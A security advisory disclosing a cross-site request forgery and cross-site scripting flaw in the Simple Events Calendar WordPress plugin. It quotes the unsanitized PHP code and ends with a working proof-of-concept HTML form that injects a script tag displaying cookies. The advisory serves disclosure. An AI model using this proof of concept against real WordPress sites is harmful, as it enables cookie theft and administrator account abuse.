Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in Simple Events Calendar
While looking in to what turned out be a false report of a vulnerability in the plugin Simple Events Calendar, we noticed there is a cross-site request forgery (CSRF)/cross-site scripting (XSS) vulnerability in the plugin.
When the plugin’s admin page is requested, the function that generates that page checks if a new event has been submitted with the request using the following code (in the file /simple-events-calendar.php):
155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 | if(isset($_POST['store_event'])) { if($_POST['event']['event_title']) { // New entries at least have to have a title, if none then nothing is written to DB global $wpdb; $table_name = $wpdb->prefix . "simple_events"; $event = $_POST['event']; $event_start = mktime($event['event_start_hr'],$event['event_start_mn'],0,$event['event_start_month'],$event['event_start_day'],$event['event_start_yr']); $event_end = mktime($event['event_end_hr'],$event['event_end_mn'],0,$event['event_end_month'],$event['event_end_day'],$event['event_end_yr']); $newEvent['event_start'] = $event_start; $newEvent['event_end'] = $event_end; $newEvent['event_title'] = $event['event_title']; $newEvent['event_desc'] = $event['event_desc']; $newEvent['event_url'] = str_replace(" ", "", $event['event_url']); $newEvent['event_loc'] = $event['event_loc']; $newEvent['event_loc_url'] = str_replace(" ", "", $event['event_loc_url']); $newEvent['event_label'] = strtolower(str_replace(" ", "", $event['event_label'])); $wpdb->insert( $table_name, $newEvent ); |
That code doesn’t check for a valid nonce, so it is susceptible to cross-site request forgery (CSRF). That code saves user input, from the POST input “event”, without doing any sanitization.
The same is true for similar code right below that code for updating an event.
Then for example, on line 693 of the file the value of one of the items taken from user input, “event_title”, is output without being escaped:
<th class="eventtitle" colspan="3"><form method="post"><input type="hidden" name="event_id" value="<?php echo $details['id'];?>" /><input type="submit" name="edit" value="<?php _e('Edit',SE_TEXTDOMAIN);?>" class="iconsprite editicon" /><input type="submit" name="delete" value="<?php _e('Remove',SE_TEXTDOMAIN);?>" class="iconsprite binicon" /></form> <?php echo stripslashes($details['event_title']);?></th>
The lack of sanitization and escaping leads to the possibility of cross-site scripting (XSS).
We notified the developer of issue on November 10. We have yet to hear back from them and the vulnerability has not been fixed so far. The plugin was last updated nearly a year ago, so it may no longer be supported. In line with our disclosure policy, which is based on the need to provide our customers with information on vulnerabilities on a timely basis, we are now disclosing this vulnerability.
Proof of Concept
The following proof of concept will cause an alert box with any accessible cookies to be shown on the page /wp-admin/admin.php?page=simple-events, when submitted while logged in to WordPress.
Make sure to replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin.php?page=simple-events" method="POST"> <input type="hidden" name="store_event" value="test" /> <input type="hidden" name="event[event_title]" value='"><script>alert(document.cookie);</script>' /> <input type="hidden" name="event[event_loc]" value="" /> <input type="submit" value="Submit" /> </form> </body>
Timeline
- November 10, 2017 – Developer notified.